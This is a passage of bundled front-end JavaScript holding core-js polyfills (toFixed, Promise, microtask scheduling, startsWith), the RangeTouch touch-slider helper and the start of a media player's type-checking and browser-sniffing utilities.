for (;n > 0; (n >>>= 1) && (str += str)) if (n & 1) result += str;
return result;
};
var nativeToFixed = 1.0.toFixed;
var floor$4 = Math.floor;
var pow$1 = function (x, n, acc) {
return n === 0 ? acc : n % 2 === 1 ? pow$1(x, n - 1, acc * x) : pow$1(x * x, n / 2, acc);
};
var log = function (x) {
var n = 0;
var x2 = x;
while (x2 >= 4096) {
n += 12;
x2 /= 4096;
}
while (x2 >= 2) {
n += 1;
x2 /= 2;
} return n;
};
var FORCED$1 = nativeToFixed && (
0.00008.toFixed(3) !== '0.000' ||
0.9.toFixed(0) !== '1' ||
1.255.toFixed(2) !== '1.25' ||
1000000000000000128.0.toFixed(0) !== '1000000000000000128'
) || !fails(function () {
// V8 ~ Android 4.3-
nativeToFixed.call({});
});
// `Number.prototype.toFixed` method
// https://tc39.github.io/ecma262/#sec-number.prototype.tofixed
_export({ target: 'Number', proto: true, forced: FORCED$1 }, {
// eslint-disable-next-line max-statements
toFixed: function toFixed(fractionDigits) {
var number = thisNumberValue(this);
var fractDigits = toInteger(fractionDigits);
var data = [0, 0, 0, 0, 0, 0];
var sign = '';
var result = '0';
var e, z, j, k;
var multiply = function (n, c) {
var index = -1;
var c2 = c;
while (++index < 6) {
c2 += n * data[index];
data[index] = c2 % 1e7;
c2 = floor$4(c2 / 1e7);
}
};
var divide = function (n) {
var index = 6;
var c = 0;
while (--index >= 0) {
c += data[index];
data[index] = floor$4(c / n);
c = (c % n) * 1e7;
}
};
var dataToString = function () {
var index = 6;
var s = '';
while (--index >= 0) {
if (s !== '' || index === 0 || data[index] !== 0) {
var t = String(data[index]);
s = s === '' ? t : s + stringRepeat.call('0', 7 - t.length) + t;
}
} return s;
};
if (fractDigits < 0 || fractDigits > 20) throw RangeError('Incorrect fraction digits');
// eslint-disable-next-line no-self-compare
if (number != number) return 'NaN';
if (number <= -1e21 || number >= 1e21) return String(number);
if (number < 0) {
sign = '-';
number = -number;
}
if (number > 1e-21) {
e = log(number * pow$1(2, 69, 1)) - 69;
z = e < 0 ? number * pow$1(2, -e, 1) : number / pow$1(2, e, 1);
z *= 0x10000000000000;
e = 52 - e;
if (e > 0) {
multiply(0, z);
j = fractDigits;
while (j >= 7) {
multiply(1e7, 0);
j -= 7;
}
multiply(pow$1(10, j, 1), 0);
j = e - 1;
while (j >= 23) {
divide(1 << 23);
j -= 23;
}
divide(1 << j);
multiply(1, 1);
divide(2);
result = dataToString();
} else {
multiply(0, z);
multiply(1 << -e, 0);
result = dataToString() + stringRepeat.call('0', fractDigits);
}
}
if (fractDigits > 0) {
k = result.length;
result = sign + (k <= fractDigits
? '0.' + stringRepeat.call('0', fractDigits - k) + result
: result.slice(0, k - fractDigits) + '.' + result.slice(k - fractDigits));
} else {
result = sign + result;
} return result;
}
});
var $entries = objectToArray.entries;
// `Object.entries` method
// https://tc39.github.io/ecma262/#sec-object.entries
_export({ target: 'Object', stat: true }, {
entries: function entries(O) {
return $entries(O);
}
});
// `Number.isNaN` method
// https://tc39.github.io/ecma262/#sec-number.isnan
_export({ target: 'Number', stat: true }, {
isNaN: function isNaN(number) {
// eslint-disable-next-line no-self-compare
return number != number;
}
});
var nativeGetOwnPropertyDescriptor$2 = objectGetOwnPropertyDescriptor.f;
var FAILS_ON_PRIMITIVES$1 = fails(function () { nativeGetOwnPropertyDescriptor$2(1); });
var FORCED$2 = !descriptors || FAILS_ON_PRIMITIVES$1;
// `Object.getOwnPropertyDescriptor` method
// https://tc39.github.io/ecma262/#sec-object.getownpropertydescriptor
_export({ target: 'Object', stat: true, forced: FORCED$2, sham: !descriptors }, {
getOwnPropertyDescriptor: function getOwnPropertyDescriptor(it, key) {
return nativeGetOwnPropertyDescriptor$2(toIndexedObject(it), key);
}
});
// `Object.getOwnPropertyDescriptors` method
// https://tc39.github.io/ecma262/#sec-object.getownpropertydescriptors
_export({ target: 'Object', stat: true, sham: !descriptors }, {
getOwnPropertyDescriptors: function getOwnPropertyDescriptors(object) {
var O = toIndexedObject(object);
var getOwnPropertyDescriptor = objectGetOwnPropertyDescriptor.f;
var keys = ownKeys(O);
var result = {};
var index = 0;
var key, descriptor;
while (keys.length > index) {
descriptor = getOwnPropertyDescriptor(O, key = keys[index++]);
if (descriptor !== undefined) createProperty(result, key, descriptor);
}
return result;
}
});
// @@match logic
fixRegexpWellKnownSymbolLogic('match', 1, function (MATCH, nativeMatch, maybeCallNative) {
return [
// `String.prototype.match` method
// https://tc39.github.io/ecma262/#sec-string.prototype.match
function match(regexp) {
var O = requireObjectCoercible(this);
var matcher = regexp == undefined ? undefined : regexp[MATCH];
return matcher !== undefined ? matcher.call(regexp, O) : new RegExp(regexp)[MATCH](String(O));
},
// `RegExp.prototype[@@match]` method
// https://tc39.github.io/ecma262/#sec-regexp.prototype-@@match
function (regexp) {
var res = maybeCallNative(nativeMatch, regexp, this);
if (res.done) return res.value;
var rx = anObject(regexp);
var S = String(this);
if (!rx.global) return regexpExecAbstract(rx, S);
var fullUnicode = rx.unicode;
rx.lastIndex = 0;
var A = [];
var n = 0;
var result;
while ((result = regexpExecAbstract(rx, S)) !== null) {
var matchStr = String(result[0]);
A[n] = matchStr;
if (matchStr === '') rx.lastIndex = advanceStringIndex(S, toLength(rx.lastIndex), fullUnicode);
n++;
}
return n === 0 ? null : A;
}
];
});
function _classCallCheck$1(e, t) {
if (!(e instanceof t)) throw new TypeError("Cannot call a class as a function");
}
function _defineProperties$1(e, t) {
for (var n = 0; n < t.length; n++) {
var r = t[n];
r.enumerable = r.enumerable || !1, r.configurable = !0, "value" in r && (r.writable = !0), Object.defineProperty(e, r.key, r);
}
}
function _createClass$1(e, t, n) {
return t && _defineProperties$1(e.prototype, t), n && _defineProperties$1(e, n), e;
}
function _defineProperty$1(e, t, n) {
return t in e ? Object.defineProperty(e, t, {
value: n,
enumerable: !0,
configurable: !0,
writable: !0
}) : e[t] = n, e;
}
function ownKeys$2(e, t) {
var n = Object.keys(e);
if (Object.getOwnPropertySymbols) {
var r = Object.getOwnPropertySymbols(e);
t && (r = r.filter(function (t) {
return Object.getOwnPropertyDescriptor(e, t).enumerable;
})), n.push.apply(n, r);
}
return n;
}
function _objectSpread2$1(e) {
for (var t = 1; t < arguments.length; t++) {
var n = null != arguments[t] ? arguments[t] : {};
t % 2 ? ownKeys$2(Object(n), !0).forEach(function (t) {
_defineProperty$1(e, t, n[t]);
}) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e, Object.getOwnPropertyDescriptors(n)) : ownKeys$2(Object(n)).forEach(function (t) {
Object.defineProperty(e, t, Object.getOwnPropertyDescriptor(n, t));
});
}
return e;
}
var defaults = {
addCSS: !0,
thumbWidth: 15,
watch: !0
};
function matches(e, t) {
return function () {
return Array.from(document.querySelectorAll(t)).includes(this);
}.call(e, t);
}
function trigger(e, t) {
if (e && t) {
var n = new Event(t, {
bubbles: !0
});
e.dispatchEvent(n);
}
}
var getConstructor = function getConstructor(e) {
return null != e ? e.constructor : null;
},
instanceOf = function instanceOf(e, t) {
return !!(e && t && e instanceof t);
},
isNullOrUndefined = function isNullOrUndefined(e) {
return null == e;
},
isObject$1 = function isObject(e) {
return getConstructor(e) === Object;
},
isNumber = function isNumber(e) {
return getConstructor(e) === Number && !Number.isNaN(e);
},
isString = function isString(e) {
return getConstructor(e) === String;
},
isBoolean = function isBoolean(e) {
return getConstructor(e) === Boolean;
},
isFunction = function isFunction(e) {
return getConstructor(e) === Function;
},
isArray$1 = function isArray(e) {
return Array.isArray(e);
},
isNodeList = function isNodeList(e) {
return instanceOf(e, NodeList);
},
isElement = function isElement(e) {
return instanceOf(e, Element);
},
isEvent = function isEvent(e) {
return instanceOf(e, Event);
},
isEmpty = function isEmpty(e) {
return isNullOrUndefined(e) || (isString(e) || isArray$1(e) || isNodeList(e)) && !e.length || isObject$1(e) && !Object.keys(e).length;
},
is = {
nullOrUndefined: isNullOrUndefined,
object: isObject$1,
number: isNumber,
string: isString,
boolean: isBoolean,
function: isFunction,
array: isArray$1,
nodeList: isNodeList,
element: isElement,
event: isEvent,
empty: isEmpty
};
function getDecimalPlaces(e) {
var t = "".concat(e).match(/(?:\.(\d+))?(?:[eE]([+-]?\d+))?$/);
return t ? Math.max(0, (t[1] ? t[1].length : 0) - (t[2] ? +t[2] : 0)) : 0;
}
function round(e, t) {
if (1 > t) {
var n = getDecimalPlaces(t);
return parseFloat(e.toFixed(n));
}
return Math.round(e / t) * t;
}
var RangeTouch = function () {
function e(t, n) {
_classCallCheck$1(this, e), is.element(t) ? this.element = t : is.string(t) && (this.element = document.querySelector(t)), is.element(this.element) && is.empty(this.element.rangeTouch) && (this.config = _objectSpread2$1({}, defaults, {}, n), this.init());
}
return _createClass$1(e, [{
key: "init",
value: function value() {
e.enabled && (this.config.addCSS && (this.element.style.userSelect = "none", this.element.style.webKitUserSelect = "none", this.element.style.touchAction = "manipulation"), this.listeners(!0), this.element.rangeTouch = this);
}
}, {
key: "destroy",
value: function value() {
e.enabled && (this.config.addCSS && (this.element.style.userSelect = "", this.element.style.webKitUserSelect = "", this.element.style.touchAction = ""), this.listeners(!1), this.element.rangeTouch = null);
}
}, {
key: "listeners",
value: function value(e) {
var t = this,
n = e ? "addEventListener" : "removeEventListener";
["touchstart", "touchmove", "touchend"].forEach(function (e) {
t.element[n](e, function (e) {
return t.set(e);
}, !1);
});
}
}, {
key: "get",
value: function value(t) {
if (!e.enabled || !is.event(t)) return null;
var n,
r = t.target,
i = t.changedTouches[0],
o = parseFloat(r.getAttribute("min")) || 0,
s = parseFloat(r.getAttribute("max")) || 100,
u = parseFloat(r.getAttribute("step")) || 1,
c = r.getBoundingClientRect(),
a = 100 / c.width * (this.config.thumbWidth / 2) / 100;
return 0 > (n = 100 / c.width * (i.clientX - c.left)) ? n = 0 : 100 < n && (n = 100), 50 > n ? n -= (100 - 2 * n) * a : 50 < n && (n += 2 * (n - 50) * a), o + round(n / 100 * (s - o), u);
}
}, {
key: "set",
value: function value(t) {
e.enabled && is.event(t) && !t.target.disabled && (t.preventDefault(), t.target.value = this.get(t), trigger(t.target, "touchend" === t.type ? "change" : "input"));
}
}], [{
key: "setup",
value: function value(t) {
var n = 1 < arguments.length && void 0 !== arguments[1] ? arguments[1] : {},
r = null;
if (is.empty(t) || is.string(t) ? r = Array.from(document.querySelectorAll(is.string(t) ? t : 'input[type="range"]')) : is.element(t) ? r = [t] : is.nodeList(t) ? r = Array.from(t) : is.array(t) && (r = t.filter(is.element)), is.empty(r)) return null;
var i = _objectSpread2$1({}, defaults, {}, n);
if (is.string(t) && i.watch) {
var o = new MutationObserver(function (n) {
Array.from(n).forEach(function (n) {
Array.from(n.addedNodes).forEach(function (n) {
is.element(n) && matches(n, t) && new e(n, i);
});
});
});
o.observe(document.body, {
childList: !0,
subtree: !0
});
}
return r.map(function (t) {
return new e(t, n);
});
}
}, {
key: "enabled",
get: function get() {
return "ontouchstart" in document.documentElement;
}
}]), e;
}();
var nativePromiseConstructor = global_1.Promise;
var SPECIES$5 = wellKnownSymbol('species');
var setSpecies = function (CONSTRUCTOR_NAME) {
var Constructor = getBuiltIn(CONSTRUCTOR_NAME);
var defineProperty = objectDefineProperty.f;
if (descriptors && Constructor && !Constructor[SPECIES$5]) {
defineProperty(Constructor, SPECIES$5, {
configurable: true,
get: function () { return this; }
});
}
};
var engineIsIos = /(iphone|ipod|ipad).*applewebkit/i.test(engineUserAgent);
var engineIsNode = classofRaw(global_1.process) == 'process';
var location = global_1.location;
var set$1 = global_1.setImmediate;
var clear = global_1.clearImmediate;
var process$1 = global_1.process;
var MessageChannel = global_1.MessageChannel;
var Dispatch = global_1.Dispatch;
var counter = 0;
var queue = {};
var ONREADYSTATECHANGE = 'onreadystatechange';
var defer, channel, port;
var run = function (id) {
// eslint-disable-next-line no-prototype-builtins
if (queue.hasOwnProperty(id)) {
var fn = queue[id];
delete queue[id];
fn();
}
};
var runner = function (id) {
return function () {
run(id);
};
};
var listener = function (event) {
run(event.data);
};
var post = function (id) {
// old engines have not location.origin
global_1.postMessage(id + '', location.protocol + '//' + location.host);
};
// Node.js 0.9+ & IE10+ has setImmediate, otherwise:
if (!set$1 || !clear) {
set$1 = function setImmediate(fn) {
var args = [];
var i = 1;
while (arguments.length > i) args.push(arguments[i++]);
queue[++counter] = function () {
// eslint-disable-next-line no-new-func
(typeof fn == 'function' ? fn : Function(fn)).apply(undefined, args);
};
defer(counter);
return counter;
};
clear = function clearImmediate(id) {
delete queue[id];
};
// Node.js 0.8-
if (engineIsNode) {
defer = function (id) {
process$1.nextTick(runner(id));
};
// Sphere (JS game engine) Dispatch API
} else if (Dispatch && Dispatch.now) {
defer = function (id) {
Dispatch.now(runner(id));
};
// Browsers with MessageChannel, includes WebWorkers
// except iOS - https://github.com/zloirock/core-js/issues/624
} else if (MessageChannel && !engineIsIos) {
channel = new MessageChannel();
port = channel.port2;
channel.port1.onmessage = listener;
defer = functionBindContext(port.postMessage, port, 1);
// Browsers with postMessage, skip WebWorkers
// IE8 has postMessage, but it's sync & typeof its postMessage is 'object'
} else if (
global_1.addEventListener &&
typeof postMessage == 'function' &&
!global_1.importScripts &&
location && location.protocol !== 'file:' &&
!fails(post)
) {
defer = post;
global_1.addEventListener('message', listener, false);
// IE8-
} else if (ONREADYSTATECHANGE in documentCreateElement('script')) {
defer = function (id) {
html.appendChild(documentCreateElement('script'))[ONREADYSTATECHANGE] = function () {
html.removeChild(this);
run(id);
};
};
// Rest old browsers
} else {
defer = function (id) {
setTimeout(runner(id), 0);
};
}
}
var task = {
set: set$1,
clear: clear
};
var getOwnPropertyDescriptor$3 = objectGetOwnPropertyDescriptor.f;
var macrotask = task.set;
var MutationObserver$1 = global_1.MutationObserver || global_1.WebKitMutationObserver;
var document$2 = global_1.document;
var process$2 = global_1.process;
var Promise$1 = global_1.Promise;
// Node.js 11 shows ExperimentalWarning on getting `queueMicrotask`
var queueMicrotaskDescriptor = getOwnPropertyDescriptor$3(global_1, 'queueMicrotask');
var queueMicrotask = queueMicrotaskDescriptor && queueMicrotaskDescriptor.value;
var flush, head, last, notify, toggle, node, promise, then;
// modern engines have queueMicrotask method
if (!queueMicrotask) {
flush = function () {
var parent, fn;
if (engineIsNode && (parent = process$2.domain)) parent.exit();
while (head) {
fn = head.fn;
head = head.next;
try {
fn();
} catch (error) {
if (head) notify();
else last = undefined;
throw error;
}
} last = undefined;
if (parent) parent.enter();
};
// browsers with MutationObserver, except iOS - https://github.com/zloirock/core-js/issues/339
if (!engineIsIos && !engineIsNode && MutationObserver$1 && document$2) {
toggle = true;
node = document$2.createTextNode('');
new MutationObserver$1(flush).observe(node, { characterData: true });
notify = function () {
node.data = toggle = !toggle;
};
// environments with maybe non-completely correct, but existent Promise
} else if (Promise$1 && Promise$1.resolve) {
// Promise.resolve without an argument throws an error in LG WebOS 2
promise = Promise$1.resolve(undefined);
then = promise.then;
notify = function () {
then.call(promise, flush);
};
// Node.js without promises
} else if (engineIsNode) {
notify = function () {
process$2.nextTick(flush);
};
// for other environments - macrotask based on:
// - setImmediate
// - MessageChannel
// - window.postMessag
// - onreadystatechange
// - setTimeout
} else {
notify = function () {
// strange IE + webpack dev server bug - use .call(global)
macrotask.call(global_1, flush);
};
}
}
var microtask = queueMicrotask || function (fn) {
var task = { fn: fn, next: undefined };
if (last) last.next = task;
if (!head) {
head = task;
notify();
} last = task;
};
var PromiseCapability = function (C) {
var resolve, reject;
this.promise = new C(function ($$resolve, $$reject) {
if (resolve !== undefined || reject !== undefined) throw TypeError('Bad Promise constructor');
resolve = $$resolve;
reject = $$reject;
});
this.resolve = aFunction$1(resolve);
this.reject = aFunction$1(reject);
};
// 25.4.1.5 NewPromiseCapability(C)
var f$7 = function (C) {
return new PromiseCapability(C);
};
var newPromiseCapability = {
f: f$7
};
var promiseResolve = function (C, x) {
anObject(C);
if (isObject(x) && x.constructor === C) return x;
var promiseCapability = newPromiseCapability.f(C);
var resolve = promiseCapability.resolve;
resolve(x);
return promiseCapability.promise;
};
var hostReportErrors = function (a, b) {
var console = global_1.console;
if (console && console.error) {
arguments.length === 1 ? console.error(a) : console.error(a, b);
}
};
var perform = function (exec) {
try {
return { error: false, value: exec() };
} catch (error) {
return { error: true, value: error };
}
};
var task$1 = task.set;
var SPECIES$6 = wellKnownSymbol('species');
var PROMISE = 'Promise';
var getInternalState$3 = internalState.get;
var setInternalState$6 = internalState.set;
var getInternalPromiseState = internalState.getterFor(PROMISE);
var PromiseConstructor = nativePromiseConstructor;
var TypeError$1 = global_1.TypeError;
var document$3 = global_1.document;
var process$3 = global_1.process;
var $fetch$1 = getBuiltIn('fetch');
var newPromiseCapability$1 = newPromiseCapability.f;
var newGenericPromiseCapability = newPromiseCapability$1;
var DISPATCH_EVENT = !!(document$3 && document$3.createEvent && global_1.dispatchEvent);
var NATIVE_REJECTION_EVENT = typeof PromiseRejectionEvent == 'function';
var UNHANDLED_REJECTION = 'unhandledrejection';
var REJECTION_HANDLED = 'rejectionhandled';
var PENDING = 0;
var FULFILLED = 1;
var REJECTED = 2;
var HANDLED = 1;
var UNHANDLED = 2;
var Internal, OwnPromiseCapability, PromiseWrapper, nativeThen;
var FORCED$3 = isForced_1(PROMISE, function () {
var GLOBAL_CORE_JS_PROMISE = inspectSource(PromiseConstructor) !== String(PromiseConstructor);
if (!GLOBAL_CORE_JS_PROMISE) {
// V8 6.6 (Node 10 and Chrome 66) have a bug with resolving custom thenables
// https://bugs.chromium.org/p/chromium/issues/detail?id=830565
// We can't detect it synchronously, so just check versions
if (engineV8Version === 66) return true;
// Unhandled rejections tracking support, NodeJS Promise without it fails @@species test
if (!engineIsNode && !NATIVE_REJECTION_EVENT) return true;
}
// We can't use @@species feature detection in V8 since it causes
// deoptimization and performance degradation
// https://github.com/zloirock/core-js/issues/679
if (engineV8Version >= 51 && /native code/.test(PromiseConstructor)) return false;
// Detect correctness of subclassing with @@species support
var promise = PromiseConstructor.resolve(1);
var FakePromise = function (exec) {
exec(function () { /* empty */ }, function () { /* empty */ });
};
var constructor = promise.constructor = {};
constructor[SPECIES$6] = FakePromise;
return !(promise.then(function () { /* empty */ }) instanceof FakePromise);
});
var INCORRECT_ITERATION$1 = FORCED$3 || !checkCorrectnessOfIteration(function (iterable) {
PromiseConstructor.all(iterable)['catch'](function () { /* empty */ });
});
// helpers
var isThenable = function (it) {
var then;
return isObject(it) && typeof (then = it.then) == 'function' ? then : false;
};
var notify$1 = function (state, isReject) {
if (state.notified) return;
state.notified = true;
var chain = state.reactions;
microtask(function () {
var value = state.value;
var ok = state.state == FULFILLED;
var index = 0;
// variable length - can't use forEach
while (chain.length > index) {
var reaction = chain[index++];
var handler = ok ? reaction.ok : reaction.fail;
var resolve = reaction.resolve;
var reject = reaction.reject;
var domain = reaction.domain;
var result, then, exited;
try {
if (handler) {
if (!ok) {
if (state.rejection === UNHANDLED) onHandleUnhandled(state);
state.rejection = HANDLED;
}
if (handler === true) result = value;
else {
if (domain) domain.enter();
result = handler(value); // can throw
if (domain) {
domain.exit();
exited = true;
}
}
if (result === reaction.promise) {
reject(TypeError$1('Promise-chain cycle'));
} else if (then = isThenable(result)) {
then.call(result, resolve, reject);
} else resolve(result);
} else reject(value);
} catch (error) {
if (domain && !exited) domain.exit();
reject(error);
}
}
state.reactions = [];
state.notified = false;
if (isReject && !state.rejection) onUnhandled(state);
});
};
var dispatchEvent = function (name, promise, reason) {
var event, handler;
if (DISPATCH_EVENT) {
event = document$3.createEvent('Event');
event.promise = promise;
event.reason = reason;
event.initEvent(name, false, true);
global_1.dispatchEvent(event);
} else event = { promise: promise, reason: reason };
if (!NATIVE_REJECTION_EVENT && (handler = global_1['on' + name])) handler(event);
else if (name === UNHANDLED_REJECTION) hostReportErrors('Unhandled promise rejection', reason);
};
var onUnhandled = function (state) {
task$1.call(global_1, function () {
var promise = state.facade;
var value = state.value;
var IS_UNHANDLED = isUnhandled(state);
var result;
if (IS_UNHANDLED) {
result = perform(function () {
if (engineIsNode) {
process$3.emit('unhandledRejection', value, promise);
} else dispatchEvent(UNHANDLED_REJECTION, promise, value);
});
// Browsers should not trigger `rejectionHandled` event if it was handled here, NodeJS - should
state.rejection = engineIsNode || isUnhandled(state) ? UNHANDLED : HANDLED;
if (result.error) throw result.value;
}
});
};
var isUnhandled = function (state) {
return state.rejection !== HANDLED && !state.parent;
};
var onHandleUnhandled = function (state) {
task$1.call(global_1, function () {
var promise = state.facade;
if (engineIsNode) {
process$3.emit('rejectionHandled', promise);
} else dispatchEvent(REJECTION_HANDLED, promise, state.value);
});
};
var bind = function (fn, state, unwrap) {
return function (value) {
fn(state, value, unwrap);
};
};
var internalReject = function (state, value, unwrap) {
if (state.done) return;
state.done = true;
if (unwrap) state = unwrap;
state.value = value;
state.state = REJECTED;
notify$1(state, true);
};
var internalResolve = function (state, value, unwrap) {
if (state.done) return;
state.done = true;
if (unwrap) state = unwrap;
try {
if (state.facade === value) throw TypeError$1("Promise can't be resolved itself");
var then = isThenable(value);
if (then) {
microtask(function () {
var wrapper = { done: false };
try {
then.call(value,
bind(internalResolve, wrapper, state),
bind(internalReject, wrapper, state)
);
} catch (error) {
internalReject(wrapper, error, state);
}
});
} else {
state.value = value;
state.state = FULFILLED;
notify$1(state, false);
}
} catch (error) {
internalReject({ done: false }, error, state);
}
};
// constructor polyfill
if (FORCED$3) {
// 25.4.3.1 Promise(executor)
PromiseConstructor = function Promise(executor) {
anInstance(this, PromiseConstructor, PROMISE);
aFunction$1(executor);
Internal.call(this);
var state = getInternalState$3(this);
try {
executor(bind(internalResolve, state), bind(internalReject, state));
} catch (error) {
internalReject(state, error);
}
};
// eslint-disable-next-line no-unused-vars
Internal = function Promise(executor) {
setInternalState$6(this, {
type: PROMISE,
done: false,
notified: false,
parent: false,
reactions: [],
rejection: false,
state: PENDING,
value: undefined
});
};
Internal.prototype = redefineAll(PromiseConstructor.prototype, {
// `Promise.prototype.then` method
// https://tc39.github.io/ecma262/#sec-promise.prototype.then
then: function then(onFulfilled, onRejected) {
var state = getInternalPromiseState(this);
var reaction = newPromiseCapability$1(speciesConstructor(this, PromiseConstructor));
reaction.ok = typeof onFulfilled == 'function' ? onFulfilled : true;
reaction.fail = typeof onRejected == 'function' && onRejected;
reaction.domain = engineIsNode ? process$3.domain : undefined;
state.parent = true;
state.reactions.push(reaction);
if (state.state != PENDING) notify$1(state, false);
return reaction.promise;
},
// `Promise.prototype.catch` method
// https://tc39.github.io/ecma262/#sec-promise.prototype.catch
'catch': function (onRejected) {
return this.then(undefined, onRejected);
}
});
OwnPromiseCapability = function () {
var promise = new Internal();
var state = getInternalState$3(promise);
this.promise = promise;
this.resolve = bind(internalResolve, state);
this.reject = bind(internalReject, state);
};
newPromiseCapability.f = newPromiseCapability$1 = function (C) {
return C === PromiseConstructor || C === PromiseWrapper
? new OwnPromiseCapability(C)
: newGenericPromiseCapability(C);
};
if ( typeof nativePromiseConstructor == 'function') {
nativeThen = nativePromiseConstructor.prototype.then;
// wrap native Promise#then for native async functions
redefine(nativePromiseConstructor.prototype, 'then', function then(onFulfilled, onRejected) {
var that = this;
return new PromiseConstructor(function (resolve, reject) {
nativeThen.call(that, resolve, reject);
}).then(onFulfilled, onRejected);
// https://github.com/zloirock/core-js/issues/640
}, { unsafe: true });
// wrap fetch result
if (typeof $fetch$1 == 'function') _export({ global: true, enumerable: true, forced: true }, {
// eslint-disable-next-line no-unused-vars
fetch: function fetch(input /* , init */) {
return promiseResolve(PromiseConstructor, $fetch$1.apply(global_1, arguments));
}
});
}
}
_export({ global: true, wrap: true, forced: FORCED$3 }, {
Promise: PromiseConstructor
});
setToStringTag(PromiseConstructor, PROMISE, false);
setSpecies(PROMISE);
PromiseWrapper = getBuiltIn(PROMISE);
// statics
_export({ target: PROMISE, stat: true, forced: FORCED$3 }, {
// `Promise.reject` method
// https://tc39.github.io/ecma262/#sec-promise.reject
reject: function reject(r) {
var capability = newPromiseCapability$1(this);
capability.reject.call(undefined, r);
return capability.promise;
}
});
_export({ target: PROMISE, stat: true, forced: FORCED$3 }, {
// `Promise.resolve` method
// https://tc39.github.io/ecma262/#sec-promise.resolve
resolve: function resolve(x) {
return promiseResolve( this, x);
}
});
_export({ target: PROMISE, stat: true, forced: INCORRECT_ITERATION$1 }, {
// `Promise.all` method
// https://tc39.github.io/ecma262/#sec-promise.all
all: function all(iterable) {
var C = this;
var capability = newPromiseCapability$1(C);
var resolve = capability.resolve;
var reject = capability.reject;
var result = perform(function () {
var $promiseResolve = aFunction$1(C.resolve);
var values = [];
var counter = 0;
var remaining = 1;
iterate(iterable, function (promise) {
var index = counter++;
var alreadyCalled = false;
values.push(undefined);
remaining++;
$promiseResolve.call(C, promise).then(function (value) {
if (alreadyCalled) return;
alreadyCalled = true;
values[index] = value;
--remaining || resolve(values);
}, reject);
});
--remaining || resolve(values);
});
if (result.error) reject(result.value);
return capability.promise;
},
// `Promise.race` method
// https://tc39.github.io/ecma262/#sec-promise.race
race: function race(iterable) {
var C = this;
var capability = newPromiseCapability$1(C);
var reject = capability.reject;
var result = perform(function () {
var $promiseResolve = aFunction$1(C.resolve);
iterate(iterable, function (promise) {
$promiseResolve.call(C, promise).then(capability.resolve, reject);
});
});
if (result.error) reject(result.value);
return capability.promise;
}
});
var getOwnPropertyDescriptor$4 = objectGetOwnPropertyDescriptor.f;
var nativeStartsWith = ''.startsWith;
var min$4 = Math.min;
var CORRECT_IS_REGEXP_LOGIC = correctIsRegexpLogic('startsWith');
// https://github.com/zloirock/core-js/pull/702
var MDN_POLYFILL_BUG = !CORRECT_IS_REGEXP_LOGIC && !!function () {
var descriptor = getOwnPropertyDescriptor$4(String.prototype, 'startsWith');
return descriptor && !descriptor.writable;
}();
// `String.prototype.startsWith` method
// https://tc39.github.io/ecma262/#sec-string.prototype.startswith
_export({ target: 'String', proto: true, forced: !MDN_POLYFILL_BUG && !CORRECT_IS_REGEXP_LOGIC }, {
startsWith: function startsWith(searchString /* , position = 0 */) {
var that = String(requireObjectCoercible(this));
notARegexp(searchString);
var index = toLength(min$4(arguments.length > 1 ? arguments[1] : undefined, that.length));
var search = String(searchString);
return nativeStartsWith
? nativeStartsWith.call(that, search, index)
: that.slice(index, index + search.length) === search;
}
});
// ==========================================================================
// Type checking utils
// ==========================================================================
var getConstructor$1 = function getConstructor(input) {
return input !== null && typeof input !== 'undefined' ? input.constructor : null;
};
var instanceOf$1 = function instanceOf(input, constructor) {
return Boolean(input && constructor && input instanceof constructor);
};
var isNullOrUndefined$1 = function isNullOrUndefined(input) {
return input === null || typeof input === 'undefined';
};
var isObject$2 = function isObject(input) {
return getConstructor$1(input) === Object;
};
var isNumber$1 = function isNumber(input) {
return getConstructor$1(input) === Number && !Number.isNaN(input);
};
var isString$1 = function isString(input) {
return getConstructor$1(input) === String;
};
var isBoolean$1 = function isBoolean(input) {
return getConstructor$1(input) === Boolean;
};
var isFunction$1 = function isFunction(input) {
return getConstructor$1(input) === Function;
};
var isArray$2 = function isArray(input) {
return Array.isArray(input);
};
var isWeakMap = function isWeakMap(input) {
return instanceOf$1(input, WeakMap);
};
var isNodeList$1 = function isNodeList(input) {
return instanceOf$1(input, NodeList);
};
var isTextNode = function isTextNode(input) {
return getConstructor$1(input) === Text;
};
var isEvent$1 = function isEvent(input) {
return instanceOf$1(input, Event);
};
var isKeyboardEvent = function isKeyboardEvent(input) {
return instanceOf$1(input, KeyboardEvent);
};
var isCue = function isCue(input) {
return instanceOf$1(input, window.TextTrackCue) || instanceOf$1(input, window.VTTCue);
};
var isTrack = function isTrack(input) {
return instanceOf$1(input, TextTrack) || !isNullOrUndefined$1(input) && isString$1(input.kind);
};
var isPromise = function isPromise(input) {
return instanceOf$1(input, Promise) && isFunction$1(input.then);
};
var isElement$1 = function isElement(input) {
return input !== null && _typeof(input) === 'object' && input.nodeType === 1 && _typeof(input.style) === 'object' && _typeof(input.ownerDocument) === 'object';
};
var isEmpty$1 = function isEmpty(input) {
return isNullOrUndefined$1(input) || (isString$1(input) || isArray$2(input) || isNodeList$1(input)) && !input.length || isObject$2(input) && !Object.keys(input).length;
};
var isUrl = function isUrl(input) {
// Accept a URL object
if (instanceOf$1(input, window.URL)) {
return true;
} // Must be string from here
if (!isString$1(input)) {
return false;
} // Add the protocol if required
var string = input;
if (!input.startsWith('http://') || !input.startsWith('https://')) {
string = "http://".concat(input);
}
try {
return !isEmpty$1(new URL(string).hostname);
} catch (e) {
return false;
}
};
var is$1 = {
nullOrUndefined: isNullOrUndefined$1,
object: isObject$2,
number: isNumber$1,
string: isString$1,
boolean: isBoolean$1,
function: isFunction$1,
array: isArray$2,
weakMap: isWeakMap,
nodeList: isNodeList$1,
element: isElement$1,
textNode: isTextNode,
event: isEvent$1,
keyboardEvent: isKeyboardEvent,
cue: isCue,
track: isTrack,
promise: isPromise,
url: isUrl,
empty: isEmpty$1
};
var transitionEndEvent = function () {
var element = document.createElement('span');
var events = {
WebkitTransition: 'webkitTransitionEnd',
MozTransition: 'transitionend',
OTransition: 'oTransitionEnd otransitionend',
transition: 'transitionend'
};
var type = Object.keys(events).find(function (event) {
return element.style[event] !== undefined;
});
return is$1.string(type) ? events[type] : false;
}(); // Force repaint of element
function repaint(element, delay) {
setTimeout(function () {
try {
// eslint-disable-next-line no-param-reassign
element.hidden = true; // eslint-disable-next-line no-unused-expressions
element.offsetHeight; // eslint-disable-next-line no-param-reassign
element.hidden = false;
} catch (e) {// Do nothing
}
}, delay);
}
// ==========================================================================
// Browser sniffing
// Unfortunately, due to mixed support, UA sniffing is required
// ==========================================================================
var browser = {
isIE:
/* @cc_on!@ */
!!document.documentMode,
isEdge: window.navigator.userAgent.includes('Edge'),
